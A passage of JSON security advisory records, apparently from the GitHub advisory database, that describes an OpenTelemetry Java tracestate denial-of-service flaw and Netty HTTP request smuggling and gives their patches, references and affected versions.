"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-c4c3-7fpv-j4q5/GHSA-c4c3-7fpv-j4q5.json", "last_known_affected_version_range": "<= 4.1.136.Final" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N" } ] }, { "id": "GHSA-ccrj-gw8r-854m", "summary": "opentelemetry-java: Quadratic CPU consumption in W3C tracestate parsing", "details": "### Summary\n\nOpenTelemetry Java's W3C trace-context propagator permits excessive CPU consumption when extracting crafted `tracestate` headers, potentially leading to denial of service. Regex backtracking causes quadratic parsing time for headers containing long runs of spaces or tabs without a following comma.\n\n### Impact\n\nAn unauthenticated attacker whose headers reach `W3CTraceContextPropagator.extract()` can cause excessive CPU usage through crafted requests. Parsing blocks the calling thread, potentially affecting other connections when extraction runs on a shared event-loop thread. Actual impact depends on ingress header-size limits, proxy configuration, and threading. Header-size limits reduce the per-request cost but do not eliminate the vulnerability.\n\n### Patches\n\nUpgrade `io.opentelemetry:opentelemetry-api` to version **1.67.0** or later. [PR #8914](https://github.com/open-telemetry/opentelemetry-java/pull/8914) replaces regex delimiter splitting with literal comma scanning and explicit whitespace trimming.\n\n### Workarounds\n\nIf upgrading is not possible, reject or remove oversized `tracestate` headers before trace-context extraction. This reduces the per-request parsing cost but does not eliminate the risk from repeated requests.", "aliases": [ "CVE-2026-118259" ], "modified": "2026-10-28T21:15:04.329194019Z", "published": "2026-10-28T21:07:40Z", "database_specific": { "nvd_published_at": null, "cwe_ids": [ "CWE-1333" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2026-10-28T21:07:40Z" }, "references": [ { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/security/advisories/GHSA-ccrj-gw8r-854m" }, { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/pull/8914" }, { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/commit/ba4dfea91647d1ef596975db5d7197681df3c0f5" }, { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/commit/cc4f5f22aed0d69369941cde8029e73507cf438f" }, { "type": "PACKAGE", "url": "https://github.com/open-telemetry/opentelemetry-java" }, { "type": "WEB", "url": "https://github.com/open-telemetry/opentelemetry-java/releases/tag/v1.67.0" } ], "affected": [ { "package": { "name": "io.opentelemetry:opentelemetry-api", "ecosystem": "Maven", "purl": "pkg:maven/io.opentelemetry/opentelemetry-api" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.67.0" } ] } ], "versions": [ "0.10.0", "0.11.0", "0.12.0", "0.13.0", "0.13.1", "0.14.0", "0.14.1", "0.15.0", "0.16.0", "0.17.0", "0.17.1", "0.2.0", "0.2.1", "0.2.4", "0.3.0", "0.4.0", "0.4.1", "0.5.0", "0.6.0", "0.7.0", "0.7.1", "0.8.0", "0.9.0", "0.9.1", "1.0.0", "1.0.1", "1.1.0", "1.10.0", "1.10.0-rc.1", "1.10.0-rc.2", "1.10.1", "1.11.0", "1.12.0", "1.13.0", "1.14.0", "1.15.0", "1.16.0", "1.17.0", "1.18.0", "1.19.0", "1.2.0", "1.20.0", "1.20.1", "1.21.0", "1.22.0", "1.23.0", "1.23.1", "1.24.0", "1.25.0", "1.26.0", "1.27.0", "1.28.0", "1.29.0", "1.3.0", "1.30.0", "1.30.1", "1.31.0", "1.32.0", "1.33.0", "1.34.0", "1.34.1", "1.35.0", "1.36.0", "1.37.0", "1.38.0", "1.39.0", "1.4.0", "1.4.1", "1.40.0", "1.41.0", "1.42.0", "1.42.1", "1.43.0", "1.44.0", "1.44.1", "1.45.0", "1.46.0", "1.47.0", "1.48.0", "1.49.0", "1.5.0", "1.50.0", "1.51.0", "1.52.0", "1.53.0", "1.54.0", "1.54.1", "1.55.0", "1.56.0", "1.57.0", "1.58.0", "1.59.0", "1.6.0", "1.60.0", "1.60.1", "1.61.0", "1.62.0", "1.63.0", "1.64.0", "1.65.0", "1.66.0", "1.7.0", "1.7.1", "1.9.0", "1.9.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-ccrj-gw8r-854m/GHSA-ccrj-gw8r-854m.json", "last_known_affected_version_range": "<= 1.66.0" } } ], "schema_version": "1.9.2", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-cqqj-4p63-rrmm", "summary": "HTTP Request Smuggling in Netty", "details": "HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an \"invalid fold.\"", "aliases": [ "CVE-2019-20444" ], "modified": "2025-07-02T15:50:12Z", "published": "2020-02-21T18:55:24Z", "database_specific": { "cwe_ids": [ "CWE-444" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2020-02-20T20:54:33Z", "nvd_published_at": "2020-01-29T21:15:00Z" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20444" }, { "type": "WEB", "url": "https://github.com/netty/netty/issues/9866" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/9871/files#diff-e26989b9171ef22c27c9f7d80689cfb059d568c9bd10e75970d96c02d0654878" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/9871" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra9fbfe7d4830ae675bf34c7c0f8c22fc8a4099f65706c1bc4f54c593%40%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra9fbfe7d4830ae675bf34c7c0f8c22fc8a4099f65706c1bc4f54c593@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/raaac04b7567c554786132144bea3dcb72568edd410c1e6f0101742e7%40%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/raaac04b7567c554786132144bea3dcb72568edd410c1e6f0101742e7@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb3361f6c6a5f834ad3db5e998c352760d393c0891b8d3bea90baa836%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb3361f6c6a5f834ad3db5e998c352760d393c0891b8d3bea90baa836@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb84c57670ec48ef23f4d07973b7fa69f629b8e7fcfb48874362feb6f%40%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb84c57670ec48ef23f4d07973b7fa69f629b8e7fcfb48874362feb6f@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc7eb5634b71d284483e58665b22bf274a69bd184d9bd7ede52015d91%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc7eb5634b71d284483e58665b22bf274a69bd184d9bd7ede52015d91@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcb2c59428f34d4757702f9ae739a8795bda7bea97b857e708a9c62c6%40%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcb2c59428f34d4757702f9ae739a8795bda7bea97b857e708a9c62c6@%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rce71d33747010d32d31d90f5d737dae26291d96552f513a266c92fbb%40%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rce71d33747010d32d31d90f5d737dae26291d96552f513a266c92fbb@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra2ace4bcb5cf487f72cbcbfa0f8cc08e755ec2b93d7e69f276148b08@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra2ace4bcb5cf487f72cbcbfa0f8cc08e755ec2b93d7e69f276148b08%40%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra1a71b576a45426af5ee65255be9596ff3181a342f4ba73b800db78f@%3Cdev.geode.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra1a71b576a45426af5ee65255be9596ff3181a342f4ba73b800db78f%40%3Cdev.geode.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9b20cdac704cf9a583400350e2d5b576fa8417c18ddb961201676c60@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9b20cdac704cf9a583400350e2d5b576fa8417c18ddb961201676c60%40%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r96e08f929234e8ba1ef4a93a0fd2870f535a1f9ab628fabc46115986@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r96e08f929234e8ba1ef4a93a0fd2870f535a1f9ab628fabc46115986%40%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r959474dcf7f88565ed89f6252ca5a274419006cb71348f14764b183d@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r959474dcf7f88565ed89f6252ca5a274419006cb71348f14764b183d%40%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r91e0fa345c86c128b75a4a791b4b503b53173ff4c13049ac7129d319@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r91e0fa345c86c128b75a4a791b4b503b53173ff4c13049ac7129d319%40%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r90030b0117490caed526e57271bf4d7f9b012091ac5083c895d16543@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r90030b0117490caed526e57271bf4d7f9b012091ac5083c895d16543%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-4885" }, { "type": "WEB", "url": "https://usn.ubuntu.com/4532-1" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TS6VX7OMXPDJIU5LRGUAHRK6MENAVJ46" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TS6VX7OMXPDJIU5LRGUAHRK6MENAVJ46" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00004.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00003.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00018.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00017.html" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rff210a24f3a924829790e69eaefa84820902b7b31f17c3bf2def9114@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rff210a24f3a924829790e69eaefa84820902b7b31f17c3bf2def9114%40%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rfb55f245b08d8a6ec0fb4dc159022227cd22de34c4419c2fbb18802b@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rfb55f245b08d8a6ec0fb4dc159022227cd22de34c4419c2fbb18802b%40%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf5b2dfb7401666a19915f8eaef3ba9f5c3386e2066fcd2ae66e16a2f@%3Cdev.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf5b2dfb7401666a19915f8eaef3ba9f5c3386e2066fcd2ae66e16a2f%40%3Cdev.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf2bf8e2eb0a03227f5bc100b544113f8cafea01e887bb068e8d1fa41@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf2bf8e2eb0a03227f5bc100b544113f8cafea01e887bb068e8d1fa41%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re78eaef7d01ad65c370df30e45c686fffff00b37f7bfd78b26a08762@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re78eaef7d01ad65c370df30e45c686fffff00b37f7bfd78b26a08762%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re45ee9256d3233c31d78e59ee59c7dc841c7fbd83d0769285b41e948@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re45ee9256d3233c31d78e59ee59c7dc841c7fbd83d0769285b41e948%40%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re0b78a3d0a4ba2cf9f4e14e1d05040bde9051d5c78071177186336c9@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re0b78a3d0a4ba2cf9f4e14e1d05040bde9051d5c78071177186336c9%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdd5d243a5f8ed8b83c0104e321aa420e5e98792a95749e3c9a54c0b9@%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdd5d243a5f8ed8b83c0104e321aa420e5e98792a95749e3c9a54c0b9%40%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdb69125652311d0c41f6066ff44072a3642cf33a4b5e3c4f9c1ec9c2@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdb69125652311d0c41f6066ff44072a3642cf33a4b5e3c4f9c1ec9c2%40%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd8f72411fb75b98d366400ae789966373b5c3eb3f511e717caf3e49e@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd8f72411fb75b98d366400ae789966373b5c3eb3f511e717caf3e49e%40%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r310d2ce22304d5298ff87f10134f918c87919b452734f9841d95682d%40%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2f2989b7815d809ff3fda8ce330f553e5f133505afd04ffbc135f35f@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2f2989b7815d809ff3fda8ce330f553e5f133505afd04ffbc135f35f%40%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r205937c85817a911b0c72655c2377e7a2c9322d6ef6ce1b118d34d8d@%3Cdev.geode.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r205937c85817a911b0c72655c2377e7a2c9322d6ef6ce1b118d34d8d%40%3Cdev.geode.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1fcccf8bdb3531c28bc9aa605a6a1bea7e68cef6fc12e01faafb2fb5@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1fcccf8bdb3531c28bc9aa605a6a1bea7e68cef6fc12e01faafb2fb5%40%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0@%3Cissues.bookkeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0%40%3Cissues.bookkeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0f5e72d5f69b4720dfe64fcbc2da9afae949ed1e9cbffa84bb7d92d7@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0f5e72d5f69b4720dfe64fcbc2da9afae949ed1e9cbffa84bb7d92d7%40%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0c3d49bfdbc62fd3915676433cc5899c5506d06da1c552ef1b7923a5@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0c3d49bfdbc62fd3915676433cc5899c5506d06da1c552ef1b7923a5%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0aa8b28e76ec01c697b15e161e6797e88fc8d406ed762e253401106e@%3Ccommits.camel.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0aa8b28e76ec01c697b15e161e6797e88fc8d406ed762e253401106e%40%3Ccommits.camel.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r059b042bca47be53ff8a51fd04d95eb01bb683f1afa209db136e8cb7@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r059b042bca47be53ff8a51fd04d95eb01bb683f1afa209db136e8cb7%40%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://github.com/poc-effectiveness/PoCAdaptation/tree/main/Adapted/CVE-2019-20444/5.0.0.Alpha1/exploit" }, { "type": "WEB", "url": "https://github.com/netty/netty/compare/netty-4.1.43.Final...netty-4.1.44.Final" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0811" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0806" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0805" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0804" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0606" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0605" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0601" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0567" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0497" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r86befa74c5cd1482c711134104aec339bf7ae879f2c4437d7ec477d4@%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r86befa74c5cd1482c711134104aec339bf7ae879f2c4437d7ec477d4%40%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r8402d67fdfe9cf169f859d52a7670b28a08eff31e54b522cc1432532@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r8402d67fdfe9cf169f859d52a7670b28a08eff31e54b522cc1432532%40%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r832724df393a7ef25ca4c7c2eb83ad2d6c21c74569acda5233f9f1ec@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r832724df393a7ef25ca4c7c2eb83ad2d6c21c74569acda5233f9f1ec%40%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r819aaeb9944bdcfca438dcc51f05650dc728daf64dfd7d774fc2499b@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r819aaeb9944bdcfca438dcc51f05650dc728daf64dfd7d774fc2499b%40%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r804895eedd72c9ec67898286eb185e04df852b0dd5fe53cf5b6138f9@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r804895eedd72c9ec67898286eb185e04df852b0dd5fe53cf5b6138f9%40%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7790b9d99696d9eddce8a8c96f13bb68460984294ea6fea3800143e4@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7790b9d99696d9eddce8a8c96f13bb68460984294ea6fea3800143e4%40%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r70b1ff22ee80e8101805b9a473116dd33265709007d2deb6f8c80bf2@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r70b1ff22ee80e8101805b9a473116dd33265709007d2deb6f8c80bf2%40%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6945f3c346b7af89bbd3526a7c9b705b1e3569070ebcd0964bcedd7d@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6945f3c346b7af89bbd3526a7c9b705b1e3569070ebcd0964bcedd7d%40%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r640eb9b3213058a963e18291f903fc1584e577f60035f941e32f760a@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r640eb9b3213058a963e18291f903fc1584e577f60035f941e32f760a%40%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4d3f1d3e333d9c2b2f6e6ae8ed8750d4de03410ac294bcd12c7eefa3@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4d3f1d3e333d9c2b2f6e6ae8ed8750d4de03410ac294bcd12c7eefa3%40%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4c675b2d0cc2a5e506b11ee10d60a378859ee340aca052e4c7ef4749@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4c675b2d0cc2a5e506b11ee10d60a378859ee340aca052e4c7ef4749%40%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r489886fe72a98768eed665474cba13bad8d6fe0654f24987706636c5@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r489886fe72a98768eed665474cba13bad8d6fe0654f24987706636c5%40%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r36fcf538b28f2029e8b4f6b9a772f3b107913a78f09b095c5b153a62@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r36fcf538b28f2029e8b4f6b9a772f3b107913a78f09b095c5b153a62%40%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r34912a9b1a5c269a77b8be94ef6fb6d1e9b3c69129719dc00f01cf0b@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r34912a9b1a5c269a77b8be94ef6fb6d1e9b3c69129719dc00f01cf0b%40%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r310d2ce22304d5298ff87f10134f918c87919b452734f9841d95682d@%3Ccommits.zookeeper.apache.org%3E" } ], "affected": [ { "package": { "name": "io.netty:netty-codec-http", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "4.1.44" } ] } ], "versions": [ "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8", "4.0.0.Beta1", "4.0.0.Beta2", "4.0.0.Beta3", "4.0.0.CR1", "4.0.0.CR2", "4.0.0.CR3", "4.0.0.CR4", "4.0.0.CR5", "4.0.0.CR6", "4.0.0.CR7", "4.0.0.CR8", "4.0.0.CR9", "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.5.Final", "4.1.6.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/02/GHSA-cqqj-4p63-rrmm/GHSA-cqqj-4p63-rrmm.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/02/GHSA-cqqj-4p63-rrmm/GHSA-cqqj-4p63-rrmm.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", 